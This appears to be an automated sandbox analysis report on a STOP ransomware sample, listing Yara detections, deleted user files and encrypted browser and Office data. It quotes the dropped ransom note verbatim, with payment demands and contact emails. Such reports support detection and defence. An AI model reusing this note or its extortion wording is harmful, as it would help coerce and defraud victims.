Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 5168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 5892, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 16oApcahEa.exe PID: 4368, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\16oApcahEa.exe	File moved: C:\Users\user\Desktop\GRXZDKKVDB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File deleted: C:\Users\user\Desktop\GRXZDKKVDB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File moved: C:\Users\user\Desktop\NVWZAPQSQL\EFOYFBOLXA.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File deleted: C:\Users\user\Desktop\NVWZAPQSQL\EFOYFBOLXA.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File moved: C:\Users\user\Desktop\KLIZUSIQEN.mp3	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\16oApcahEa.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xl2bbdnzsnprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:manager@mailtemp.chreserve e-mail address to contact us:supporthelp@airmail.ccyour personal id:0338gsd743dxcdiddnfh62dy3ijsba1cohcfdensbjphqq2eht1	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-xl2bbdnzsnprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:manager@mailtemp.chreserve e-mail address to contact us:supporthelp@airmail.ccyour personal id:0338gsd743dxcdiddnfh62dy3ijsba1cohcfdensbjphqq2eht1	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4 entropy: 7.9912318711	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4 entropy: 7.99079529739	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\uANxnX_BheDjd2-cdR8N9DEWlds[1].css entropy: 7.99088530105	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99786504859	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json entropy: 7.99883750007	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99784506861	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.99125346997	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm entropy: 7.99486424542	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite entropy: 7.9959454294	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm entropy: 7.99508167673	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite entropy: 7.99620310319	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json entropy: 7.99359907069	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json entropy: 7.99038138901	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm entropy: 7.9954365063	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm entropy: 7.9948022505	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite entropy: 7.99674240871	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm entropy: 7.99527225642	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite entropy: 7.9964018342	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm entropy: 7.99478560069	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite entropy: 7.99545199693	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif entropy: 7.99710228057	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png entropy: 7.99216719514	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png entropy: 7.99130509714	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99721494158	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99632461855	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99197720578	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99287721801	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99394539067	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99280693084	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm entropy: 7.99004248911	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99585740864	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004786866416.txt entropy: 7.99811467197	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db entropy: 7.99816821481	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.99810644725	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db entropy: 7.99792517705	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db entropy: 7.99834323191	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004610890001.txt entropy: 7.99843735938	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004157646270.txt entropy: 7.99832041896	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003693874026.txt entropy: 7.9981735693	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003495205506.txt entropy: 7.99831027957	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409000886124092.txt entropy: 7.99835555453	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99319066141	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005389384955.txt entropy: 7.99840370297	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005089393222.txt entropy: 7.99813206342	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409022763610746.txt entropy: 7.99849991808	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021833987004.txt entropy: 7.99861595146	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021046094069.txt entropy: 7.99860099447	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409010467962588.txt entropy: 7.99849967954	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409009155626780.txt entropy: 7.99863785283	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006446553451.txt entropy: 7.99816038333	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006148184320.txt entropy: 7.99803962118	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005953011714.txt entropy: 7.99817605147	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024501033688.txt entropy: 7.99832928426	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024089824579.txt entropy: 7.99837463333	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409023789902202.txt entropy: 7.99835484084	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133802389929103136.txt entropy: 7.99843665254	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133802389628990815.txt entropy: 7.99836433195	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99732640639	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite entropy: 7.99833514324	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99394429198	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99723186097	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db entropy: 7.99434471345	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt entropy: 7.99785401446	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_tracking_page_validator.js entropy: 7.99658472174	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json entropy: 7.99105801075	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json entropy: 7.9969095348	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json entropy: 7.99736136065	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json entropy: 7.99731916027	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ru\strings.json entropy: 7.99096495841	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json entropy: 7.99739398197	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json entropy: 7.99673967767	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json entropy: 7.99659825693	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json entropy: 7.99651586086	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json entropy: 7.99761396781	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json entropy: 7.9970869401	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json entropy: 7.99708992501	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json entropy: 7.99703876798	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json entropy: 7.9976189143	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json entropy: 7.99693544359	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json entropy: 7.99685100143	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json entropy: 7.99726255476	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json entropy: 7.99665609356	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js entropy: 7.99778596057	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js entropy: 7.99303782387	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb entropy: 7.99134725334	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb entropy: 7.99680302886	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb entropy: 7.99618941497	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb entropy: 7.99870715543	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb entropy: 7.99882169718	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb entropy: 7.99846450537	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb entropy: 7.99485541203	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb entropy: 7.99691995133	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ga.hyb entropy: 7.99440421239	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nb.hyb entropy: 7.99869566681	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.irjg (copy) entropy: 7.99721494158	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.irjg (copy) entropy: 7.99632461855	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.irjg (copy) entropy: 7.99197720578	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.irjg (copy) entropy: 7.99287721801	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.irjg (copy) entropy: 7.99394539067	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.irjg (copy) entropy: 7.99280693084	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.irjg (copy) entropy: 7.99816821481	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.irjg (copy) entropy: 7.99810644725	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.irjg (copy) entropy: 7.99792517705	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.irjg (copy) entropy: 7.99834323191	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.irjg (copy) entropy: 7.99319066141	Jump to dropped file
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.irjg (copy) entropy: 7.99732640639	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.16oApcahEa.exe.4ce15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.16oApcahEa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
